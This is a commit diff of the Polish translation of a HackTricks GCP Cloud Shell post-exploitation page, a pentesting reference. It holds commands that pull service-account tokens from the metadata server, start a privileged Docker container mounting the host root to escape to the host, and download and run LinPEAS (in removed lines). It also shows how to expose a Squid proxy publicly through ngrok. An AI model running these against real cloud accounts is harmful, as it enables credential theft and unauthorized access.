mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
@@ -4,46 +4,46 @@
|
|||||||
|
|
||||||
## Cloud Shell
|
## Cloud Shell
|
||||||
|
|
||||||
Więcej informacji o Cloud Shell znajdziesz w:
|
Aby uzyskać więcej informacji o Cloud Shell zobacz:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../gcp-services/gcp-cloud-shell-enum.md
|
../gcp-services/gcp-cloud-shell-enum.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Container Escape
|
### Pobiera token użytkownika z metadata
|
||||||
|
|
||||||
Zwróć uwagę, że Google Cloud Shell działa wewnątrz kontenera — możesz **easily escape to the host** wykonując:
|
Wystarczy uzyskać dostęp do serwera metadata, aby otrzymać token umożliwiający dostęp jako aktualnie zalogowany użytkownik:
|
||||||
|
```bash
|
||||||
|
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||||
|
```
|
||||||
|
### Container Escape / Docker use
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> Wcześniej cloud shell działał w kontenerze z dostępem do docker socket hosta. Teraz Google zmieniło architekturę i kontener cloud shell działa w konfiguracji "Docker in a container". Dlatego nawet jeśli możliwe jest użycie docker z cloud shell, nie będziesz w stanie uciec na hosta używając docker socket.
|
||||||
|
> Zauważ, że wcześniej plik `docker.sock` znajdował się w `/google/host/var/run/docker.sock`, ale teraz został przeniesiony do `/run/docker.sock`.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Container escape commands</summary>
|
<summary>Docker use / Old container escape commands</summary>
|
||||||
```bash
|
```bash
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
sudo docker -H unix:///run/docker.sock start escaper
|
||||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
To nie jest uznawane przez google za vulnerability, ale daje ci szerszy obraz tego, co dzieje się w tym środowisku.
|
Co więcej, w przeszłości można było znaleźć token dla service account używanego przez cloud shell VM w metadata server:
|
||||||
|
|
||||||
Ponadto zauważ, że z hosta możesz znaleźć service account token:
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Uzyskaj service account z metadanych</summary>
|
<summary>Stary service account z metadata</summary>
|
||||||
```bash
|
```bash
|
||||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||||
default/
|
default/
|
||||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||||
```
|
```
|
||||||
</details>
|
|
||||||
|
|
||||||
Z następującymi zakresami:
|
Z następującymi zakresami:
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>Pobierz zakresy service account</summary>
|
|
||||||
```bash
|
```bash
|
||||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||||
|
|
||||||
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Wylistuj metadane przy użyciu LinPEAS:
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>Wylistuj metadane przy użyciu LinPEAS</summary>
|
### Użyj jej jako Proxy
|
||||||
```bash
|
|
||||||
cd /tmp
|
|
||||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
|
||||||
sh linpeas.sh -o cloud
|
|
||||||
```
|
|
||||||
</details>
|
|
||||||
|
|
||||||
Po użyciu [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) z tokenem Service Account **nie wykryto żadnych uprawnień**...
|
Jeśli chcesz używać swojej instancji google cloud shell jako proxy, musisz wykonać następujące polecenia (lub wstawić je do pliku .bashrc):
|
||||||
|
|
||||||
### Użyj go jako Proxy
|
|
||||||
|
|
||||||
Jeśli chcesz użyć swojej instancji google cloud shell jako Proxy, musisz uruchomić następujące polecenia (lub wstawić je do pliku .bashrc):
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@@ -79,11 +67,11 @@ sudo apt install -y squid
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Dla twojej informacji Squid to serwer proxy HTTP. Utwórz plik **squid.conf** z następującymi ustawieniami:
|
Dla informacji — Squid to http proxy server. Utwórz plik **squid.conf** z następującymi ustawieniami:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Utwórz plik squid.conf</summary>
|
<summary>Create squid.conf file</summary>
|
||||||
```bash
|
```bash
|
||||||
http_port 3128
|
http_port 3128
|
||||||
cache_dir /var/cache/squid 100 16 256
|
cache_dir /var/cache/squid 100 16 256
|
||||||
@@ -102,11 +90,11 @@ sudo cp squid.conf /etc/squid
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Na koniec uruchom usługę squid:
|
Na koniec uruchom usługę Squid:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Uruchom usługę squid</summary>
|
<summary>Uruchom usługę Squid</summary>
|
||||||
```bash
|
```bash
|
||||||
sudo service squid start
|
sudo service squid start
|
||||||
```
|
```
|
||||||
@@ -116,15 +104,15 @@ Użyj ngrok, aby proxy było dostępne z zewnątrz:
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Udostępnij proxy przez ngrok</summary>
|
<summary>Wystaw proxy przez ngrok</summary>
|
||||||
```bash
|
```bash
|
||||||
./ngrok tcp 3128
|
./ngrok tcp 3128
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Po uruchomieniu skopiuj adres zaczynający się od tcp://. Jeśli chcesz korzystać z proxy z poziomu przeglądarki, zaleca się usunąć część tcp:// oraz numer portu i wpisać numer portu w polu portu w ustawieniach proxy przeglądarki (squid jest serwerem proxy HTTP).
|
Po uruchomieniu skopiuj adres tcp://. Jeśli chcesz uruchomić proxy z przeglądarki, zaleca się usunąć część tcp:// oraz numer portu i wpisać port w polu portu w ustawieniach proxy przeglądarki (squid jest serwerem proxy HTTP).
|
||||||
|
|
||||||
Aby ułatwić użycie przy starcie, plik .bashrc powinien zawierać następujące linie:
|
Dla wygodniejszego użycia przy uruchomieniu systemu plik .bashrc powinien zawierać następujące linie:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Instrukcje zostały skopiowane z [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Sprawdź tę stronę, aby znaleźć inne szalone pomysły na uruchamianie dowolnego oprogramowania (bazy danych, a nawet Windows) w Cloud Shell.
|
Instrukcje zostały skopiowane z [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Sprawdź tę stronę, aby znaleźć inne szalone pomysły na uruchamianie wszelkiego rodzaju oprogramowania (databases i nawet windows) w Cloud Shell.
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Reference in New Issue
Block a user